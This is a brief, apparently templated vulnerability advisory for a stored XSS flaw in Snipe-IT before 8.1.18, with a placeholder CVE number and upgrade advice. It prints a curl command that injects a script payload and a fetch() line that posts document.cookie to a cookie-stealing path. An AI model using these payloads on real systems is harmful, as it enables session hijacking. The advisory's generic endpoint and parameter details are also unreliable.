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The CVE-2025-XXXXX vulnerability in Snipe-IT is a stored Cross-Site Scripting (XSS) flaw. It originates from inadequate input sanitization within a specific application parameter. An attacker with user-level permissions can inject malicious JavaScript payloads into this field. The payload is then stored in the application’s database. When an administrator or another privileged user views the page containing the tainted data, the malicious script is automatically executed within their browser session. This execution occurs in the context of the victim’s authenticated session, allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the application. The vulnerability specifically affects components that fail to properly encode user-supplied data before rendering it in the output HTML.
Platform: Snipe-IT
Version: < 8.1.18
Vulnerability: Stored XSS
Severity: Moderate
date: 2025-09-19
Prediction: 2025-10-03
What Undercode Say:
curl -s "http://target/snipe-it/vulnerable_endpoint" -d "parameter=<script>alert('XSS')</script>"
fetch('/api/steal-cookie', { method: 'POST', body: document.cookie });
How Exploit:
Malicious script injection into unsanitized user-controlled field.
Protection from this CVE:
Upgrade to v8.1.18.
Impact:
Session hijacking, privilege escalation.
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Reported By: github.com
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